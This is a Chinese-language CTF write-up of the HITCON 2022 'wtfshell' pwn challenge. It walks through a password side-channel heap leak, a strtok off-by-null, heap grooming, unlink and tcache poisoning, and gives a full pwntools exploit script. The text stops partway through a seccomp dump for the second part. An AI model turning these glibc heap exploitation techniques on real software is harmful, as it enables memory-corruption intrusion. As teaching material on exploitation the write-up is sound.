首页
论坛
课程
招聘
[原创]HITCON2022-wtfshell详解
2022-12-1 15:06 11781

[原创]HITCON2022-wtfshell详解

2022-12-1 15:06
11781

前言

征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw侧信道+read_pw未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。

 

wtfshell1最终解数为4,wtfshell2最终解数为3。第一题解出来了第二题基本就解出来了。

 

感谢crazyman第二天来告诉我wtfshell的主要漏洞(strtok off by null),思考后脑子里出现了一套完整的利用思路。因此做出如下复现。

 

文章不太喜欢附图,大家多包涵,做出来难度还是蛮大的,因为即使知道了strtok->off-by-null,还是有非常多细节需要思考☹️。

代码审计

题目提供了源码,一共930+行,libc为glibc2.36 3,由于glibc-all-in-one中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4进行复现。

程序主要逻辑

程序实现了一个类似于shell交互,输入rtfm可以查看菜单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π    rtfm.            Read This Friendly Manual    π
π    qq.            Quit Quietly            π
π    lol,[-l].        List Of fiLes            π
π    rip.[FILE]        Redirect InPut            π
π    nsfw,FILE,PERM.        New Single File for Writing    π
π    wtf,DATA,FILE.        Write data To File        π
π    omfg,FILE.        Output My File Gracefully    π
π    gtfo,FILE.        GeT the File Out        π
π    ouo.            Output current User Out        π
π    stfu,USER.        SeT new Friendly User        π
π    asap,[USER].        ASsign A new Password        π
π    sus,USER.        Switch USer            π
π    shit.            SHell InformaTion        π
π    irl.            Instantly Reset shelL        π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ

功能主要为:

  • lol:展示所有files文件,加上-l命令可以查看①文件所属用户,②文件size,③文件名。
  • rip:向指定文件末尾添加内容,采用realloc+strcat实现,其中realloc_sizedata_size+1,防止strcat末尾\x00造成off by null。
  • nsfw:创建文件,并定制其权限(rw)。
  • wtf:重新覆写文件内容,最大size为0x400。
  • omfg:打印文件内容(若文件具有可读属性)。
  • gtfo:删除指定文件。
  • ouo:打印当前用户名。
  • stfu:添加新用户,可定义其name。
  • asap:更改指定用户密码。其中调用的函数chk_pw存在侧信道泄露漏洞。
  • sus:登录后可更换用户。
  • irl:reset所有内容:①清除所有用户结构体,②清空所有file结构体,③free并重新申请gbuff。
  • qq:退出程序前free掉gbuff,close了所有文件描述符,并且采用_exit退出。

漏洞点

侧信道

查看chk_pw函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int chk_pw(const char *pw) {
    char input;
    int pw_len = strlen(pw);
    for (int i = 0; i < pw_len + 1; i++) {
        int res = read(STDIN_FILENO, &input, 1);
        if (res < 0) {
            terminate();
        }
        if (i == pw_len) { // The last character must be a line break
            return input == '\n';
        }
        if (input == '\n') { // Ignore accidental line breaks
            i--;
            continue;
        }
        /* If password mismatch, quit immediately */
        if (input != pw[i]) {
            /* Read characters until '\n' */
            while (1) {
                int res = read(STDIN_FILENO, &input, 1);
                if (res < 0) {
                    terminate();
                }
                if (input == '\n') {
                    return 0;
                }
            }
        }
    }
}

可以看到逻辑为:

  • 逐字符判断密码是否正确,若不正确,读取输入直到\n后退出。
  • 若字符正确则往后继续检查,途中若遇到\n,直接利用i--来忽略

当检查途中遇到不正确的字符,且 i 并未到达pw_len时,我们可以通过输入\n符是否退出chk_pw来判断当前密码字符是否正确。

 

且若密码不正确,输入\n退出chk_pw后会打印:

1
2
3
4
5
6
if (!chk_pw(gusers[i]->ushadow)) {
                /* Clear data when error occurs */
                bzero(gusers[i]->ushadow, PWMAX);
                write_str("asap: pw1 ≠ pw2\n");
                return;
            }

因此我们可以通过接收字符来判断密码字符是否正确,达到侧信道爆破的目的。

user结构体

查看user结构体:uname堆指针跟在ushadow密码后。

1
2
3
4
5
struct user {
    char ushadow[PWMAX];
    char *uname;
    int uid;
};

查看read_pw函数:在读满PWMAXsize的时候,并未在末尾置零,导致user->ushadowuser->uname指针连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int read_pw(char *dest) {
    int read_num = 0;
    while (read_num < PWMAX) {
        int res = read(STDIN_FILENO, &dest[read_num], 1);
        if (res < 0) {
            terminate();
        }
        if (dest[read_num] == '\n') {
            dest[read_num] = '\0';
            return read_num;
        }
        read_num++;
    }
    return read_num;
}

查看chk_pw函数:判断密码位数是通过strlen来判断的:

1
int pw_len = strlen(pw);

因此结合起来,我们可以利用侧信道+结构体,来leak出一个堆地址。

strtok->off by null

main函数中的gbuff是拿来储存我们的命令字符串的,大小为0x400,对其有一个分割符处理:

1
2
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);

strtok函数会不断往字符串后面遍历,直到遇到\x00截断,同时strtok会将查找到的隔断符delim设置为\x00

 

查看隔断符delim:

1
const char delim[] = ".,?!";

其中!的ascii码值为0x21,若我们能在gbuff 0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok实现off-by-null

wtfshell1

泄露堆地址

首先申请一个user结构体,填满其pwd。本地gdb调试之后发现这样user->uname指针末尾为0,因此可以申请两个user结构体,第一个用作填充,使第二个user结构体的user->uname指针末尾不为0。

 

由于堆地址最低字节固定,不用泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))

构造off-by-null

堆风水真的给整麻了。

得到一个填满的gbuff堆块

首先我们需要得到一个被填满0x408非零字节的gbuff堆块。

 

整个程序free只能通过两种方式:①xrealloc,②xfree。

 

其中xfree函数:

1
2
3
4
5
6
7
8
void xfree(void *ptr) {
    if (!ptr) {
        return;
    }
    size_t size = malloc_usable_size(ptr);
    bzero(ptr, size);
    free(ptr);
}

其中malloc_usable_size函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size也会被算进来清零,因此我们要避开xfree,只能用xrealloc来free。

 

xrealloc其实就是调用realloc函数,当我们申请一个大于当前堆块size的堆块时,realloc会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。

 

小堆风水一波,得到一个填满0x408非零字节的gbuff堆块步骤为:

  1. 先利用rip申请一个0x400大小的堆块,然后利用xrealloc不断扩充,直到size为0x1000。然后realloc(0x1100) free掉该unsortedbin(必须用xrealloc去free,用xfree会清空堆块内容)。
  2. 申请一个小堆块隔开unsortedbintop_chunk
  3. 申请一个0x400大小的堆块到unsortedbin中。
  4. 提前填满0x400大小的tcache_list
  5. 调用cmd_irl来free掉gbuff,由于tcache_list已经被填满,因此free掉的gbuff不会进入tcache_list,会变成unsortedbin,然后下一次申请,会申请tcache_list中第一个空闲堆块,也就是我们之前填满非零字节的一个堆块。这样就能获得一个填满0x408字节的gbuff

构造off by null

接下来就很简单能够想到在gbuff的下面申请一个堆块,off-by-null之后利用,以下文章将该堆块命名为off-by-null-chunk

 

在思考这一段时,卡了我非常久,特别鸣谢winmt师傅和ln3师傅和我激情讨论,一次次点醒我。

遇到的问题
prev_size
 

off-by-null-chunkprev_size我们无法控制。

 

首先我们知道,off-by-null-chunkprev_size是被填满了八字节的,不然无法触发strtok然后触发off-by-null

 

gbuff堆块与off-by-null-chunk是紧挨的,然后我们如果要更改off-by-null-chunkprev_size,就必须通过gbuff来更改。

 

我们知道,我们只能控制gbuff堆块的前0x400个字节,更改不了off-by-null-chunkprev_size

 

尝试思路一:首先肯定要触发off-by-null,我想的是触发off-by-null之后,再次调用cmd_irl来free掉gbuff,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunkprev_size

 

但是这样是显然行不通的,因为free掉gbuff的时候,会判断gbuff下面那个堆块的use状态,由于已经off-by-null,会触发off-by-null,但是我们的prev_size不合法,这样会导致程序出错。

 

尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff第0x400-0x408个字节中非prev_size部分清空,同时触发off-by-null。最终也以失败告终。

 

最终思路:再次审查源码后,发现cmd_rip函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void  cmd_rip() {
    char *fname = strtok(NULL, delim);##this!
    char *rbuff = xmalloc(SBSIZE);
 
    /* Redirect input to stdout */
    if (!fname) {
        read_max(rbuff, SBSIZE);
        write_str(rbuff);
        write_str("\n");
        xfree(rbuff);
        return;
    }
 
    /* Redirect input to a file */
 
    remove_slash(fname);#that!
    if (strlen(fname) == 0) {
        write_str("rip: flag = ∅\n");
        xfree(rbuff);
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("rip: ¬ perm\n");
        xfree(rbuff);
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }
    write_str("rip: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
    xfree(rbuff);
}

注意代码中我注释的this和that部分。

 

关注到remove_slash函数,会将字符串中含\的部分置为\x00:

1
2
3
4
5
6
7
8
void remove_slash(char *fname) {
    int fname_len = strlen(fname);
    for (int i = 0; i < fname_len; i++) {
        if (fname[i] == '/') {
            fname[i] = '\0';
        }
    }
}

同时也是通过strlen来判断长度。

 

menucmd_rip函数中,按先后顺序调用了如下:

1
2
3
char *token = strtok(gbuff, delim);
char *fname = strtok(NULL, delim);##this!
remove_slash(fname);#that!

如果我们构造这样的payload:

1
b'rip.'+b'a'*(0x400-4)

同时,在之前堆风水写gbuff的第0x400-0x408字节,若我们填入如下内容:

1
p16(prev_size)+b'\'*6

那么在执行第一句语句之后,返回的指针已经指向

1
b'a'*(0x400-4)+p16(prev_size)+b'\'*6

注意strtok第一个参数为NULL时,继承的是上一次strtok返回的指针。

 

因此执行第二句语句之后,能够将off-by-null的size头低位0x21置为0,触发off-by-null

 

同时,执行第三句语句,将调整我们的prev_size为正常。

 

因此至此,我们已经构造好prev_size

fake_size
 

我们知道,free一个堆块,会去检测下一个堆块的next_size是否合法:

1
2
3
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");

我们free掉off-by-null-chunk的时候,除非off-by-null-chunk的size本身为0x501这种,off by null之后不用伪造next_size。否则需要伪造合法的next_size,不然free会触发错误。

 

伪造next_size的过程几乎没有希望的,之前看来:

 

首先off-by-null-chunk的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null是没有作用的。

 

这就意味着我们申请的off-by-null-chunk的size需要大于0x400,那就只能调用cmd_rip来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip的操作是根据strlen函数返回的长度来进行realloc的,也就是说,我们申请出某个size 的堆块,就必须填满他。

 

cmd_rip中部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }

但我们要伪造fake_next_sizefake_next_size中肯定带\x00截断,同时由于off-by-null-chunk原本size低字节为0x21,被改成\x00后,fake_next_size要放在off-by-null-chunk的+0x500处,例如如下结构:

1
2
3
4
5
6
off-by-null-chunk:
    0 0x500(0x521)
    ........
    ........
    padding,fake_next_size
    padding,padding。

其中padding为8非零字节。可以注意到fake_next_size中带\x00截断,因此我们不能申请到0x521大小的chunk。

 

想过很多种方法,例如利用realloc去进行一些trick,例如:

 

先申请出0x521大小的chunk,然后利用cmd_wtf里的strcpy往里填入零字节,再利用cmd_rip来realloc到适当字节,恰好写进fake_next_size,但是对一个内存大于申请size的堆块进行realloc,会free掉剩余size的小chunk:

 

例如对0x521 chunk 进行reallc(ptr,0x410),他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null

 

可见对大于0x400 size的chunk去写入一个fake_next_size是非常困难的。

 

转换思路呢?可能一开始就想错了,为什么off-by-null-chunksize一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list即可。

 

而如果size小于0x400,我们观察cmd_wtf函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void cmd_wtf() {
    char *fdata = strtok(NULL, delim);
    if (!fdata) {
        write_str("wtf: data ∈ ∅\n");
        return;
    }
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("wtf: file ∈ ∅\n");
        return;
    }
 
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("wtf: file = ∅\n");
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("wtf: ¬ perm\n");
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("wtf: ¬ perm\n");
                return;
            }
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }
    }
    write_str("wtf: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
}

其中关键的即为:

1
2
3
4
5
6
7
8
9
10
11
12
if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }

strlen(fdata)<strlen(gfiles[i]->fdata),是不会触发realloc的,而是直接调用strcpy,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size

 

后续写入地址也多次用到这个方式,因此我封装了一个函数(不太优雅,将就着看):

1
2
3
4
5
6
7
8
9
10
11
12
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        # log.success(hex(i))
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            # pause()
            recover_data(filename,no_null_payload[0:whole_size-i-2])
            # debug("free")
 
        else:
            continue

实操off by null

整理一下我们之前做到的事情:

  • 分配了一个被填满的gbuff,能够off by null。
  • 可以利用remove_slashstrtok配合,构造好off-by-null-chunkprev_size。(前提是该chunk size得小于0x400,因此我们需要提前填满对应size的tcache_list
  • 可以用我的write_addr函数伪造off-by-null-chunkfake_size

并且这道题我们已经用侧信道泄露了堆地址,大大降低了off-by-null的难度,可以进行safe-unlink

 

只用在上方伪造一个size,然后绕过如下检测即可:

1
2
3
4
5
6
7
8
9
10
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
 
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");

堆风水:

 

如果我们构造成:

1
2
3
4
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr

这里注意的是,p->fd->bkp->bk->fd指向的地方,不能和p->fd_nextsize->bk_nextsizep->bk_nextsize->fd_nextsize指向的地方相同,否则在通过第一个检测之后,会执行:

1
2
fd->bk = bk;
bk->fd = fd;

就绕不过第二个检测:

1
2
3
if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");

因此最终构造为:

1
2
3
4
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr P->addr

1

 

这里我在off-by-null-chunk下方没有构造好,导致一个tcacheprev_inuse为0,触发了第二次unlink,小调整了一下即可。

 

off-by-null之后,中间夹了几个tcache,即可实现泄露和任意地址写。

 

需要注意的是:

 

能够任意写的tcache size必须要小,因为cmd中任何申请函数都是以strlen返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。

 

wtfshell1中,我的思路是申请到flag1堆块,更改其file->flag为3(rw)与file->name

 

如果任意写的tcache_size过大,申请过去必须得写完,这会导致把堆上很多指针或者file->name破坏掉。

 

wtfshell2中,我的思路是打libc got表,那0x2f0大小必定会破坏掉非常多东西,因此也是不可能的。

 

因此做到这之后,我又重新调整tcache_size,小改了一波堆风水。

夹心饼攻击

至此我们已经拿到heap_baselibc_base,并且有了任意写,泄露之后申请任意写过去改掉file->flag为3(rw)与file->name

 

观察cmd_omfg:发现如果是root用户,可以查看所有文件内容(若具有可读属性)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void cmd_omfg() {
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("omfg: file ∈ ∅\n");
        return;
    }
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("omfg: file = ∅\n");
        return;
    }
    for (int i = 0; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be readable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & RDPERM)) {
                write_str("omfg: ¬ perm\n");
                return;
            }
            if (!gfiles[i]->fdata) { // empty file
                return;
            }
            write_str(gfiles[i]->fdata);
            write_str("\n");
            return;
        }
    }
    write_str("omfg: \"");
    write_str(fname);
    write_str("\" ∉ ℱ \n");
}

由于我已经将file->flag改为3,file->name改为aaaaaaaaaaaaaaaa

 

直接调用show即可打印出第一个flag。

 

2

 

至此,wtfshell1 get。

wtfshell1-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
 
def qwq(name):
  log.success(hex(name))
 
def debug(point):
    if point == 0:
        gdb.attach(r)
    else:
        gdb.attach(r,"b "+point)
 
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
 
def menu(payload):
    r.recvuntil("√")
    r.sendline(payload)
 
def add_data(name,content):
    payload = b'rip.'+name
    menu(payload)
    sleep(0.1)
    r.send(content)
 
 
def new_file(name,flag):
    payload = b'nsfw,'+name+b','+flag
    menu(payload)
 
def show_file(name):
    payload = b'omfg,'+name
    menu(payload)
 
def recover_data(name,content):
    payload = b'wtf,'+content+b','+name
    menu(payload)
 
def delete_file(name):
    payload = b'gtfo,'+name
    menu(payload)
 
def add_user(name):
    payload = b'stfu,'+name
    menu(payload)
 
def edit_pwd(name,pwd):
    payload = b'asap,'+name
    menu(payload)
    r.recvuntil(b"password:")
    r.send(pwd)
    r.recvuntil(b"retype password:")
    r.send(pwd)
 
def delete_all():
    payload = b'irl.'
    menu(payload)
 
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))
 
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        # log.success(hex(i))
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            # pause()
            recover_data(filename,no_null_payload[0:whole_size-i-2])
            # debug("free")
 
        else:
            continue
 
 
 
 
 
 
add_user(b'what')
add_user(b'lotus')
heap_base=burp(b'lotus',"a"*0x40)-0x880
key = heap_base>>12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b'big',b'3')
new_file(b'gbuff',b'3')
new_file(b'off-by-null-chunk',b'3')
 
 
for i in range(0x7):
    new_file(b"chunk"+str(i).encode(),b'3')
    new_file(b"chunk1"+str(i).encode(),b'3')
 
new_file(b'chunk21',b'3')
new_file(b'chunk22',b'3')
 
for i in range(0x7):
    for j in range(0x4):
        add_data(b"chunk"+str(i).encode(),b'a'*0x100)
 
for i in range(0x2):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n'
 
for i in range(0x3):
    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)
 
for i in range(3,7):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
 
[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]
add_data(b'big',b'a'*0x10+b'\n')
new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
 
add_data(b'big',b'a'*0x100)# free the unsortedbin
 
#add 0x408 back
[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]
add_data(b'gbuff',b'a'*0xf8+b'\n')
 
#add 0x521 chunk to off-by-null
[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]
add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')
 
[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]
 
add_data(b'gbuff',b'a'*0x100)
 
delete_all()
 
new_file(b'useless_chunk',b'3')
[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]
add_data(b'useless_chunk',b'a'*0x10+b'\n')
 
# add a 0x321 chunk and edit its fake_next_size
new_file(b'off-by-null-chunk',b'3')
[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]
add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')
[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]
recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')
 
menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size
 
for i in range(0x9):
    new_file(b"chunk1"+str(i).encode(),b'3')
for i in range(0x9):
    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)
 
fake_point = heap_base+0x2af0
fake_point_addr = fake_point+0x30
fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2
 
 
 
 
write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)
 
[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]
delete_file(b'chunk17')
delete_file(b'chunk18')
delete_file(b'chunk16')
 
 
#off by null unlink
 
delete_file(b'off-by-null-chunk')
 
#clear the tcache list 0x20
for i in range(0xa):
    new_file(b'useless'+str(i).encode(),b'3')
    recover_data(b'useless'+str(i).encode(),b'a'*8)
 
 
new_file(b'a'*0x2e0,b'3')
new_file(b'b'*0x2d0,b'3')
 
#leak_libc_base
show_file(b'chunk14')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0
 
new_file(b'a'*0x220,b'3')
 
new_file(b'edit_tcache_next',b'3')
recover_data(b'edit_tcache_next',b'a'*0x220)
write_addr(b'edit_tcache_next',b'a'*192+p64((heap_base+0x330)^(key+3)),0x8)
 
new_file(b'a'*0x20,b'3')
 
new_file(b'go_attack',b'3')
recover_data(b'go_attack',b'a'*0x20)
write_addr(b'go_attack',p32(1)+p32(0x3)+p64(0xdeadbeef)+b'lotuslotus',0x1a)
 
show_file(b'a'*0x10)
# debug("malloc_printerr")
 
 
 
qwq(heap_base)
 
 
qwq(libc_base)
r.interactive()

ps:exp运行一次可能不能成功,侧信道爆破以及write_addr似乎有某些bug,不过多运行几次就能通。

wtfshell2

wtfshell2只用考虑如何绕过沙盒,并且劫持程序流即可。

 

劫持strtok的libc-got表为magic_gadget,然后可劫持程序流。

 

沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2wtfshell1少了一个解。wtfshell2相比与wtfshell1就是多了沙盒。因为我们在wtfshell1中已经拿到了任意地址写,和heap_baselibc_basewtfshell2考察的就是如何绕过沙箱写orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
zb@ubuntu:~/seccomp-tools$ seccomp-tools dump /mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0006
 0002: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0003: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x20 0x00 0x00 0x00000000  A = sys_number
 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x20 0x00 0x00 0x00000000  A = sys_number
 0010: 0x15 0x00 0x06 0x00000009  if (A != mmap) goto 0017
 0011: 0x20 0x00 0x00 0x00000020  A = prot # mmap(addr, len, prot, flags, fd, pgoff)
 0012: 0x15 0x03 0x00 0x00000007  if (A == 0x7) goto 0016
 0013: 0x20 0x00 0x00 0x00000030  A = fd # mmap(addr, len, prot, flags, fd, pgoff)
 0014: 0x15 0x00 0x01 0xffffffff  if (A != 0xffffffff) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL
 0017: 0x20 0x00 0x00 0x00000000  A = sys_number
